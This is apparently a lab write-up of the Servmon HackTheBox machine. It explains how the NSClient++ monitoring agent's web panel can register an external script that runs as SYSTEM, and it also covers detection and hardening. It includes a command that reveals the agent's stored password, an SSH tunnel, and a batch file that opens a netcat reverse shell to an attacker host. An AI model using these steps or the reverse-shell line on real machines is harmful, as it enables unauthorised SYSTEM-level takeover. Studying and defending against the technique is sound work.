NSClient++ privilege escalation (ExternalScripts)
NSClient++ is a Windows monitoring agent: it runs as a service under the SYSTEM account and its job is to run checks and report the result back to a Nagios. The CheckExternalScripts module exists precisely so an administrator can register commands of their own, so defining a script and having the agent run it exploits no bug at all: it is the product doing what it is for, with the privileges it was installed with. The only control in place is who reaches its panel.
That is what turns the agent's configuration into a local escalation, and it is how its own public entry classifies it ("allows local attackers to escalate privileges and execute arbitrary code as Local System"). In servmon the box falls without a single exploit, using nothing but the agent's interface.
The agent hands you the password#
The panel asks for a password, and the agent ships a "forgot my password" feature meant for whoever is already on the machine. It is run from the install directory:
cd "C:\Program Files\NSClient++".\nscp web -- password --displayCurrent password: ew2x6SsGTxjRwXOT
Nothing is broken there: any user who can read and execute in that directory obtains the agent's administration credential. The nsclient.ini next to it is worth a look too, because that is where all the configuration we are about to touch lives.
The panel only listens locally#
The usual configuration restricts web access to 127.0.0.1, so a request from our IP returns 403 Forbidden even with the right password. It is not a filter to break but one to go through: with a local port forward the end of the tunnel is inside the machine and the traffic leaves from its own 127.0.0.1 (local port forwarding).
ssh -L 8443:127.0.0.1:8443 <user>@<ip>From configuration to execution as SYSTEM#
Once in the panel, the abuse is three interface steps and none of them is an exploit:
- Under Modules, enable
CheckExternalScriptsandScheduler. - Under Settings, add a new key. The form's three fields are the configuration file's branch, the key name and the value, which means you are writing into
nsclient.inifrom the web:
Section: /settings/external scripts
Key: command
Value: C:\temp\evil.bat- Trigger the execution. The exploit entry suggests scheduling it with the
Scheduleror rebooting the host, but there is a faster and far quieter route: Control → Reload. On reloading, the service rereads its configuration and runs the external script just registered.
The .bat needs nothing sophisticated, because whoever runs it is already SYSTEM:
@echo off
C:\temp\nc.exe <lhost> 443 -e cmd.exeThe detail that most often makes this fail: adding is not saving. After pressing Add, the change lives only in memory until it is confirmed under Changes → Save configuration. Forget it and the later reload undoes the work, making it look as if the technique did not work.
Requirements#
Reaching the administration panel (locally or through a tunnel, because the filter is on source IP), its password (which the agent itself prints for anyone who already has a shell) and being able to drop a file on disk that the service can read. The agent must also run as SYSTEM, which is the default install, and the modules must be enablable from the web; in hardened deployments nsclient.ini is marked read-only and the web interface is disabled, and then this path does not exist.
How to detect it. The cleanest signal is integrity: nsclient.ini is a file that changes when an administrator changes it, so an unplanned modification (and in particular a new key under /settings/external scripts) is the finding. At runtime the process lineage says everything: nscp.exe as the parent of a cmd.exe, a .bat or a binary in C:\temp is a tree the agent does not produce in normal use (Sysmon event 1, with the service as ParentImage and a System IntegrityLevel). Around it there is also the panel access on 8443, a service restart or reload outside the maintenance window (system log events 7036/7040) and, if the access came through a tunnel, a connection to 127.0.0.1 from the host itself. Reconnaissance leaves a trace too: an nscp web -- password run by an account that does not administer the machine.
Defence. Do not expose the agent's web interface, and if it has to exist, bind it to 127.0.0.1 and give it a strong password, because a source-IP filter is tunnelled through the moment anyone has a shell. Disable CheckExternalScripts and Scheduler if unused, use ACLs to restrict who can read the install directory (the credential is in there, in cleartext, for anyone walking past), leave nsclient.ini non-writable by users and monitor its integrity. And the underlying measure: a monitoring agent that runs arbitrary commands does not need to be SYSTEM for most of its checks. It is the same pattern as fail2ban, LibreNMS or Splunk's Universal Forwarder: the privileged service whose configuration is, by design, a command.
Machines where it's used
- ServmonHackTheBox